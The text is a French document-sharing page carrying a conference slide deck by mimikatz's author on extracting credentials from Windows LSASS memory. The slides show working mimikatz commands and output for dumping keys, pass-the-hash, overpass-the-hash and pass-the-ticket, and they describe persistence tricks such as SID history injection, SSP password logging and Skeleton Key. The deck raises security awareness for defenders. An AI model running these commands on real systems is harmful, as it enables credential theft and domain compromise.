mimikatz et la mémoire de Windows Benjamin DELPY `gentilkiwi`

Documents pareils
mimikatz présentation et utilisation avancée Benjamin DELPY `gentilkiwi`

Faiblesses des méthodes d administration en environnement Windows et état des lieux de l outillage intrusif 1/50

Extraction de données authentifiantes de la mémoire Windows

Kerberos en environnement ISP UNIX/Win2K/Cisco

Secrets d authentification épisode II Kerberos contre-attaque

Aurélien Bordes. OSSIR 13 juillet 2010

Guide de déploiement d'un mécanisme De SmartCardLogon par carte CPS Sur un réseau Microsoft

EA D S INNOVA TION W ORKS. Pass The Hash. Nicolas RUFF EADS-IW SE/CS nicolas.ruff (à) eads.net

S28 - La mise en œuvre de SSO (Single Sign On) avec EIM (Enterprise Identity Mapping)

Journées MATHRICE "Dijon-Besançon" DIJON mars Projet MySafeKey Authentification par clé USB

Rôles serveur Notion de Groupe de Travail Active Directory Utilisation des outils d administration Microsoft Windows Server 2008

Comptes et groupes de services : VSA/MSA/gMSA

La citadelle électronique séminaire du 14 mars 2002

Secrets d authentification sous Windows

Chapitre 1 Windows Server

Gestion des accès et des identités

FORMATION WS0801. Centre de formation agréé

Tour d horizon des différents SSO disponibles

Terminal Server RemoteAPP pour Windows Server 2008

L Authentification de Librex dans Active Directory (Kerberos)

Retour d'expérience sur le déploiement de biométrie à grande échelle

Recycle Bin (Corbeille Active directory)

Les différentes méthodes pour se connecter

Protocoles utilisant des mécanismes d'authentification: TACACS+, RADIUS et Kerberos

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

Windows Server 2012 R2 Administration

Guide de mise en œuvre d'un Smartcard logon avec une Carte de Professionnel de Santé (CPS) «ASIP Santé / PTS / PSCE» Version 2.5.

Le modèle de sécurité windows

INSTALLATION DE WINDOWS 2000 SERVER POUR BCDI3. par. G.Haberer, A.Peuch, P.Saadé

Le principe du moindre privilège appliqué aux systèmes Windows

Mise en route d'une infrastructure Microsoft VDI

Module 3. Création d objets utilisateur et ordinateur AD DS

HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet.

Serveur de partage de documents. Étude et proposition d'une solution afin de mettre en place un serveur de partage de documents.

Installation Windows 2000 Server

Fiche technique RDS 2012

Authentification Unique (Single Sign-On)

VAMT 2.0. Activation de Windows 7 en collège

2X ThinClientServer Guide d utilisation

Sécurité & Authentification. Sécurité Authentification utilisateur Authentification applicative

Formations. «Règles de l Art» Certilience formation N SIRET APE 6202A - N TVA Intracommunautaire FR

RELEASE NOTES. Les nouveautés Desktop Manager 2.8

Edition de février Numéro 1. Virtualisation du Poste de Travail

domovea Portier tebis

Note technique. Recommandations de sécurité relatives à Active Directory.

ScTools Outil de personnalisation de carte

VXPERT SYSTEMES. CITRIX NETSCALER 10.1 et SMS PASSCODE 6.2. Guide d installation et de configuration pour Xenapp 6.5 avec SMS PASSCODE 6.

Configuration de routeur D-Link Par G225

Performances. Gestion des serveurs (2/2) Clustering. Grid Computing

JAB, une backdoor pour réseau Win32 inconnu

CommandCenter Secure Gateway

La sécurité dans les grilles

SÉCURISATION D'UN SERVEUR WINDOWS 2000

Configuration du serveur FTP sécurisé (Microsoft)

Table des matières. Chapitre 1 Les architectures TSE en entreprise

Installation de SCCM 2012 (v2)

vcenter Server 1. Interface Lancez le vsphere Client et connectez vous à vcenter Server. Voici la page d accueil de vcenter Server.

Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.

Authentification Windows 2000

Kerberos/AD/LDAP/Synchro

TP redondance DHCP. Gillard Frédéric Page 1/17. Vue d ensemble du basculement DHCP

Table des matières Page 1

Mise en place d un serveur trixbox sur un domaine Kwartz. Version 1.0 du 25 juin 2012 Lycée Polyvalent d Artois, Noeux les Mines Adrien Bonnel

DirectAccess Mobilité et nomadisme, mise en oeuvre de la solution Microsoft

9 - Installation RDS sur 2008R2 SOMMAIRE. Chapitre 1 Mise en place RDS sous Windows 2008 R2 2

AUTHENTIFICATION MANAGEMENT

Les méthodes de sauvegarde en environnement virtuel

Les nouveautés d AppliDis Fusion 4 Service Pack 1

Note de première mise en service. Passerelle ipro-04n. TTPMSiPRO04N R1.0 fr

Chapitre 1 Labo 1 : Les rôles de base du contrôleur de domaine Windows 2008 Server R2

Dix raisons de passer à WINDOWS SERVEUR 2008

Protocoles et trafic réseau en environnement Active Directory

PLAN DE REPRISE D ACTIVITE INFORMATIQUE

POVERELLO KASONGO Lucien SIO 2, SISR SITUATION PROFESSIONNELLE OCS INVENTORY NG ET GLPI

Windows Serveur 2008

Windows Server Chapitre 1: Découvrir Windows Server 2008

1. Présentation du TP

Kerberos, le SSO universel

Imprimantes et partage réseau sous Samba avec authentification Active Directory

Préparation à l installation d Active Directory

WIFI sécurisé en entreprise (sur un Active Directory 2008)

BTS SIO option SISR Lycée Godefroy de Bouillon Clermont-Ferrand

Reporting Services - Administration

Windows Server Administration avancée. Résumé. Thierry DEMAN Freddy ELMALEH Mathieu CHATEAU Sébastien NEILD. ENI Editions - All rigths reserved

Table des matières. 1. Installation de VMware ESXI Pré-requis Installation... 3

Guide de mise en œuvre d'un Smartcard logon avec une Carte de Professionnel de Santé (CPS) «ASIP Santé / PTS / PSCE» Version 2.5.

Windows Server 2008 Sécurité ADMINISTRATION ET CONFIGURATION DE LA SECURITE OLIVIER D.

Mettre en oeuvre l authentification forte. Alain ROUX Consultant sécurité

CC Routeur/Modem ADSL sans fil Sweex

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

Windows Server 2012 R2 Administration avancée - 2 Tomes

EVOLUTION ACTIVE DIRECTORY Windows 2012R2

Guide d installation des licences Solid Edge-NB RB

La suite logicielle Lin ID. Paris Capitale du Libre 25 septembre 2008

COURS 5 Mettre son site en ligne! Exporter son site avec WordPress Duplicator Installer un logiciel FTP Faire le suivi des visites de son site avec

Fiche Technique Windows Azure

Audits de sécurité, supervision en continu Renaud Deraison

Contenu. Cocher : Network Policy and Access Services > Next > Next. Cocher : Network Policy Server > Next > Install

Documentation Utilisateur/Développeur. Client de Monitoring CamTrace

Transcription:

mimikatz et la mémoire de Windows Benjamin DELPY `gentilkiwi`

`whoami`? Benjamin DELPY - @gentilkiwi Bidouilleur en sécurité informatique, la nuit seulement (ce n est pas mon travail) Adepte des chemises tahitiennes, mais Lille en Janvier Auteur de mimikatz Ce petit programme que j ai écris pour apprendre le C et que les RSI / instances de sécurité détestent Présenté au Black Hat, Defcon, PHDays, BlueHat, St Hack, Je ne suis pas : Ingénieur, PASSI, MVP, CISSP, CISA, OSCP, CHFI, CEH, ISO*, MCSA, CHFI, [ ] Politiquement correct 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 2

La mémoire de Windows Pas besoin d aller très loin pour exploiter (la mémoire d )un système Les 0-day sont universelles, mais elles sont chères et corrigeables La réalité est bien plus simple! Plus la cible est importante, plus celle-ci : obéit à des règles de fonctionnements ; repose sur des personnes, des architectures, de la délégation ; segmente les activités, multipliant ainsi les acteurs/droits/privilèges La sécurité en interne n est pas sexy (pas de buzzwords, désolé!) Pour un dirigeant, il est plus confortable de focaliser sur : des techniques avancées ; l application de référentiels (multiples) ; des audits [ ] que de traiter ses propres problématiques internes Les attaquants ont très bien compris tout cela : ils font rarement compliqué ou dans la finesse 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 3

La mémoire de Windows Processus accédant à la mémoire d un processus API OpenProcess http://msdn.microsoft.com/library/windows/desktop/ms684320.aspx API ReadProcessMemory http://msdn.microsoft.com/library/windows/desktop/ms680553.aspx 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 4

La mémoire de Windows Processus accédant à la mémoire d un processus API OpenProcess http://msdn.microsoft.com/library/windows/desktop/ms684320.aspx API ReadProcessMemory http://msdn.microsoft.com/library/windows/desktop/ms680553.aspx Bien sur, avec des droits «Administrateur» Le jeu n est plus le même! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 5

La mémoire de Windows Minidump d un processus Intégré à Windows! Gestionnaire de tâches Programme signé numériquement par Microsoft ProcDump http://technet.microsoft.com/sysinternals/dd996900.aspx API MiniDumpWriteDump http://msdn.microsoft.com/library/windows/desktop/ms680360.aspx PowerShell! https://github.com/mattifestation/powersploit/blob/master/exfiltration/out-minidump.ps1 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 6

La mémoire de Windows Minidump d un processus Le Minidump permet de sortir l ensemble des données en mémoire d un programme en un fichier! La plupart du temps pour les exploiter sur un autre poste non contrôlé. Un énorme avantage pour les attaquants : aucun programme n est nécessaire sur le poste ciblé pas de réaction des antivirus/hips Certaines données peuvent aussi figurer dans les Crashdumps ; les rapports d erreur. 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 7

La mémoire de Windows Full dump Le luxe pour l analyse mémoire! Contient l intégralité des données noyau et de tous les processus Ces dumps peuvent être générés par : Windows (kd, livekd, crash du noyau) ; Des outils de forensic / tiers DumpIt de Mathieu Suiche par exemple ;) Il peuvent aussi être obtenus depuis : Les fichier d hibernation (mise en veille prolongée) Snapshot de VM Une infrastructure virtuelle (ESX, Hyper-V ) 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8

La mémoire de Windows Accès direct Par ordre de probabilité : Windows démarré en mode «Debug», puis diagnostic via : Un port USB ; Un port série (encore présent sur des serveurs, si si) ; Un port Firewire ; Ethernet (carte compatible). Accès direct à la mémoire (DMA) : Firewire ; Express Card ; (http://www.breaknenter.org/projects/inception/) ColdBoot NSA like gadgets 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 9

Quelques remarques Si vous voyez quelqu un mener dans votre organisation une attaque par accès direct à la mémoire : Embauchez-le immédiatement et payez-le convenablement. Si vous validez (même par délégation) des droits administrateurs de domaines/locaux en très grande quantité, ou à des externes : Savez vous combien de personnes sont/peuvent devenir administrateurs : De vos DC? Des machines par lesquelles les administrateurs de vos DC se connectent? (oui, les hôtes ESX comptent) Des machines par lesquelles des personnes peuvent devenir administrateurs des machines par lesquelles les administrateurs de vos DC se connectent? Des machines Certaines réponses peuvent être inquiétantes, si vous ne les avez pas : c est encore plus inquiétant! Le principe est le même pour les accès aux sauvegardes 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 10

mimikatz :: sekurlsa SSO avec LSA( PLAYSKOOL level) Authentication WinLogon LsaSS msv1_0 SAM user:domain:password kerberos Challenge Response Authentication Packages msv1_0 tspkg wdigest livessp kerberos 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 11

mimikatz :: sekurlsa mimikatz peut lire les données du processus LSASS (depuis sa mémoire ou un dump) Son module sekurlsa peut récupérer MSV1_0 hash & clés (dpapi et autres) TsPkg mots de passe WDigest mots de passe LiveSSP mots de passe Kerberos mots de passe, clés, tickets & code pin SSP mot de passe Mais aussi : pass-the-hash overpass-the-hash / pass-the-(e)key RC4 (ntlm), AES128 & AES256 pass-the-ticket (API officielle MSDN) 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 12

mimikatz :: sekurlsa for each session lsasrv!logonsessionlist lsasrv!logonsessionlistcount module!symbol Package Symbols Type tspkg tspkg!tsglobalcredtable RTL_AVL_TABLE wdigest wdigest!l_logsesslist LIST_ENTRY livessp livessp!livegloballogonsessionlist LIST_ENTRY kerberos (nt5) kerberos!kerblogonsessionlist LIST_ENTRY kerberos (nt6) kerberos!kerbgloballogonsessiontable RTL_AVL_TABLE msv1_0 lsasrv!logonsessionlist lsasrv!logonsessionlistcount LIST_ENTRY ULONG ssp msv1_0!sspcredentiallist LIST_ENTRY Key NT 5 RC4 DESx Symbols lsasrv!g_cbrandomkey lsasrv!g_prandomkey lsasrv!g_pdesxkey lsasrv!g_feedback search list/avl for LUID LsaUnprotectMemory KIWI_struct typedef struct _KIWI_struct { LUID LocallyUniqueIdentifier; [ ] LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING Domaine; LSA_UNICODE_STRING Password; [ ] } KIWI_struct, *PKIWI_struct; Key NT 6 3DES AES Symbols lsasrv!initializationvector lsasrv!h3deskey lsasrv!haeskey Credentials en clair! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 13

MSV1_0 NTLM LSASS (msv1_0) waza 1234/ LM NTLM (md4) d0e9aee149655a60 75e4540af1f22d3b cc36cf7a8514893e fccd332446158b1a LSASS (msv1_0) LM cc36cf7a8514893e fccd332446158b1a NTLM (md4) cc36cf7a8514893e fccd332446158b1a Domain Controller 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 14

Windows Kerberos Que pourrions-nous faire avec plusieurs sessions Kerberos en mémoire? Sur un Terminal Server par exemple ;) LSASS (kerberos) KDC des_cbc_md5 f8fd987fa7153185 KDC waza 1234/ rc4_hmac_nt (NTLM/md4) aes128_hmac cc36cf7a8514893e fccd332446158b1a 8451bb37aa6d7ce3 d2a5c2d24d317af3 TGT TGS 3 TGS-REQ 4 TGS-REP Administrateur aes256_hmac 1a7ddce7264573ae1 f498ff41614cc7800 1cbf6e3142857cce2 566ce74a7f25b 5 Usage 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 15

Windows Kerberos Trouver des clés.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48).## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 15 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::ekeys Authentication Id : 0 ; 142976 (00000000:00022e80) Session : Interactive from 1 User Name : Administrator Domain : LAB SID : S-1-5-21-2929287289-1204109396-1883388597-500 * Username : Administrator * Domain : LAB.LOCAL * Password : waza1234/ * Key List : aes256_hmac 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b aes128_hmac a62abee318bc8877b6d402bde49ddd61 rc4_hmac_nt cc36cf7a8514893efccd332446158b1a rc4_md4 cc36cf7a8514893efccd332446158b1a rc4_hmac_nt_exp cc36cf7a8514893efccd332446158b1a 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 16

Windows Kerberos Overpass-the-hash Avec une clé RC4 (Hash NTLM) LSASS (kerberos) KDC des_cbc_md5 KDC rc4_hmac_nt (NTLM/md4) cc36cf7a8514893e fccd332446158b1a TGT 3 TGS-REQ cc36cf7a8514893e fccd332446158b1a aes128_hmac TGS 4 TGS-REP aes256_hmac 5 Usage 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 17

Windows Kerberos Overpass-the-hash Ou bien avec une clé AES LSASS (kerberos) KDC des_cbc_md5 rc4_hmac_nt (NTLM/md4) aes128_hmac TGT TGS 3 TGS-REQ 4 TGS-REP KDC 1a7ddce7264573ae 1f498ff41614cc78 001cbf6e3142857c ce2566ce74a7f25b aes256_hmac 1a7ddce7264573ae1f 498ff41614cc78001c bf6e3142857cce2566 ce74a7f25b 5 Usage 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 18

Windows Kerberos Overpass-the-hash mimikatz # sekurlsa::pth /user:administrator /domain:lab.local /rc4:cc36cf7a8514893efccd332446158b1a user : Administrator domain : LAB.LOCAL program : cmd.exe NTLM : cc36cf7a8514893efccd332446158b1a PID 3632 TID 3924 LUID 0 ; 442172 (00000000:0006bf3c) \_ msv1_0 - data copy @ 00B30F54 : OK! mimikatz # sekurlsa::pth /user:administrator /domain:lab.local \_ kerberos - data copy @ 00BC5C18 /aes256:1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b \_ aes256_hmac -> null user : Administrator \_ aes128_hmac -> null domain : LAB.LOCAL \_ rc4_hmac_nt OK program : cmd.exe \_ rc4_hmac_old OK AES256 : 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b \_ rc4_md4 OK PID 2120 \_ rc4_hmac_nt_exp OK TID 2204 \_ rc4_hmac_old_exp OK LUID 0 ; 438984 (00000000:0006b2c8) \_ *Password replace -> null \_ msv1_0 - data copy @ 00B2936C : OK! \_ kerberos - data copy @ 00BC5A68 \_ aes256_hmac OK \_ aes128_hmac -> null \_ rc4_hmac_nt -> null \_ rc4_hmac_old -> null \_ rc4_md4 -> null \_ rc4_hmac_nt_exp -> null \_ rc4_hmac_old_exp -> null \_ *Password replace -> null 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 19

Windows Kerberos What else? LSASS (kerberos) KDC des_cbc_md5 f8fd987fa7153185 KDC Administrateur waza 1234/ rc4_hmac_nt (NTLM/md4) aes128_hmac aes256_hmac cc36cf7a8514893e fccd332446158b1a 8451bb37aa6d7ce3 d2a5c2d24d317af3 1a7ddce7264573ae1 f498ff41614cc7800 1cbf6e3142857cce2 566ce74a7f25b TGT TGS 3 TGS-REQ 4 TGS-REP 5 Usage 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 20

Windows Kerberos Tickets mimikatz # sekurlsa::tickets /export Authentication Id : 0 ; 963494 (00000000:000eb3a6) Session : Interactive from 2 User Name : Administrator Domain : LAB SID : S-1-5-21-2929287289-1204109396-1883388597-500 [ ] Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Service Name (02) : cifs ; dc.lab.local ; @ LAB.LOCAL [ ] Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 13d5f91632296f1d2bc658793ffc458f7abac80ef062aa908359f7eaa1f9b946 Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...] * Saved to file [0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi! Group 1 - Client Ticket? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL [ ] Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 7f75a0085ce638ff7dc43c1ee11f8d478f8ff1e4c863769f95f390223cebdc1a Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 21

Windows Kerberos Pass-the-ticket Avec un TGT, pour obtenir des TGS LSASS (kerberos) KDC des_cbc_md5 rc4_hmac_nt (NTLM/md4) aes128_hmac TGT TGS 3 TGS-REQ 4 TGS-REP KDC TGT aes256_hmac 5 Usage 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 22

Windows Kerberos Pass-the-ticket Avec un ou plusieurs TGS LSASS (kerberos) KDC des_cbc_md5 rc4_hmac_nt (NTLM/md4) aes128_hmac TGS 3 TGS-REQ 4 TGS-REP KDC TGS aes256_hmac 5 Usage 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 23

Windows Kerberos Pass-the-ticket.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48).## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 15 modules * * */ mimikatz # kerberos::ptt krbtgt.kirbi cifs.kirbi 0 - File 'krbtgt.kirbi' : OK 1 - File 'cifs.kirbi' : OK mimikatz # kerberos::list [00000000] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Server Name : krbtgt/lab.local @ LAB.LOCAL Client Name : Administrator @ LAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; [00000001] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Server Name : cifs/dc.lab.local @ LAB.LOCAL Client Name : Administrator @ LAB.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; mimikatz # kerberos::ptt tickets 0 - Directory 'tickets' (*.kirbi) 0 - File '[0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi' : OK 1 - File '[0;eb3a6]-0-1-40a50000-Administrator@ldap-dc.lab.local.kirbi' : OK 2 - File '[0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi' : OK 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 24

Windows Kerberos PKINIT Oui, mais nous on utilise une PKI C est bien Dans les faits le NTLM fonctionne encore Les tickets (TGT et TGS) se dumpent toujours Windows renvoie les hash NTLM/clés RC4 pour des raisons de compatibilités on les retrouve en mémoire après s être logué. Le code PIN est conservé dans la mémoire du processus LSASS oui, en cache (SSO du SSO) souvent présent en + dans les middlewares du fabriquant 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 25

Demo! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 26

Altération mémoire et persistance misc::addsid (Sid History) Inspiré par Balázs Bucsay (@xoreipeip) et Nicolas Ruff (@newsoft) mimilib Password Filter mimilib SSP misc::memssp Inspiré par Robert Fuller (@mubix) misc::skeleton (Skeleton Key) Inspiré par l analyse de Dell SecureWorks (@dellsecureworks) 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 27

Altération mémoire et persistance misc::addsid (Sid History) Les utilisateurs ont des propriétés dans l ActiveDirectory. sidhistory, un champ reprenant l historique des identifiants d un objet si celui-ci provient d un autre domaine Dans le cadre d un déplacement, rattachement, etc... afin de conserver les accès à des ressources, avoir un historique pour les journaux d évènements, etc. Domaine A: SID : S-1-5-21-130452501-2365100805-3685010670-1234 sidhistory : null Déplacement de l utilisateur depuis le domaine A vers B Domaine B: SID : S-1-5-21-1982681256-1210654043-1600862990-6789 sidhistory : S-1-5-21-130452501-2365100805-3685010670-1234 Ce champ n est pas librement accessible, même aux administrateurs Windows vérifie un grand nombre de conditions lors de l appel à l API officiel API DsAddSidHistory : http://msdn.microsoft.com/library/ms675918.aspx Que se passerait-il si mimikatz modifiait la logique de ces vérifications? Que se passerait-il si l on demande ensuite le rajout de SID de groupes à un utilisateur? du même domaine et pour le groupe Admins du domaine Résultat : privilège des groupes concernés, sans appartenir aux groupes concernés. Admins du domaines, sans figurer à un seul moment dans ce groupe Persistant! C est inscrit dans l AD 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 28

Altération mémoire et persistance mimilib Password Filter La librairie «mimilib.dll» peut aussi servir de filtre de mot de passe. L utilisateur soumettra à l autorité de sécurité (un DC pour un domaine, sinon le système lui-même) le mot de passe que l utilisateur souhaite lors d une demande de changement. Pour vérifier que le nouveau mot de passe respecte une politique Ou simplement en être notifié La librairie peut être enregistrée sur un DC Toute les demandes de changement qui seront acceptées par ce DC seront logués dans le fichier : kiwifilter.log Persistant! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 29

Altération mémoire et persistance mimilib SSP Toujours avec la même librairie «mimilib.dll» Celle-ci peut être enregistrée en tant que package de sécurité (validant des authentifications, réalisant du SSO, ) Cela permettant de voir passer tous les mots de passe de connexion Et de les inscrire dans un fichier : kiwissp.log Nécessite un reboot Sauf si appel à «AddSecurityPackage» http://msdn.microsoft.com/library/windows/desktop/dd401506.aspx Persistant! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 30

Altération mémoire et persistance misc::memssp Cette commande injecte un code dans LSASS puis place un «hook» sur la fonction : msv1_0!spacceptcredentials Cela permettant de voir passer tous les mots de passe de connexion Et de les inscrire dans un fichier : mimilsa.log Ne nécessite pas un reboot Actif immédiatement Disparait au reboot code présent en mémoire seulement 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 31

Demo! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 32

Altération mémoire et persistance misc::skeleton (Skeleton Key) La version mimikatz du «passe-partout» est un patch Active Directory A ce titre, les droits «Admins du domaine» sont nécessaires avant d interagir avec le processus LSASS. Il permet d accepter les demandes d authentification Kerberos avec : Le mot de passe d origine de l utilisateur, Un mot de passe différent de celui de l utilisateur! (le mot de passe est ici fixé à «mimikatz») Pour cela, l AES est «désactivé» et 2 fonctions cryptographiques RC4 sont altérées Pour être fidèle à la version «d origine», pas de données persistantes le patch disparait au redémarrage Il n y a pas (encore?) beaucoup de détails sur le malware d origine ayant mis en lumière cette méthode Est-ce aussi limité à Kerberos? Pourquoi cela pouvait-il entrainer des problèmes de synchronisation AD? Patch des fonctions SamI? http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/ 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 33

Demo! 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 34

Quelques remarques J espère vous avoir fait un petit peu peur, et orienté sur des pistes de recherche pour vos systèmes d information! Il n y avait pourtant ici aucune faille, aucune faiblesse cryptographique, pas d APT, pas de 0-day, pas de gouvernement caché derrière je ne suis même pas programmeur ou expert en sécurité/chercheur Lancer des projets/études/audits sur des sujets de sécurité à la mode (de magazines d aéroports?), ou tout miser sur la réponse, n évitera pas un incident Cela donne bonne conscience à certains dirigeants (c est déjà ça), mais ne fera pas disparaitre les soucis déjà existants. Pour ne pas être trop négatif, cela permet quand même d obtenir plus facilement un budget. La plupart du temps ces études ou audits font remonter une petite partie des problème sur un périmètre très précis Mais le saviez-vous? Vos administrateurs système sont la plupart du temps déjà au courant qu il manque des centaines de patchs de sécurité, et sur un périmètre bien plus important! ainsi que d autres problèmes que vous n aimeriez pas voir dans un rapport externe... du moins pas en version finale 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 35

That s all Folks! blog mimikatz source contact http://blog.gentilkiwi.com http://blog.gentilkiwi.com/mimikatz https://github.com/gentilkiwi/mimikatz (en Anglais) @gentilkiwi / benjamin@gentilkiwi.com 19/01/2015 Benjamin DELPY `gentilkiwi` @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 36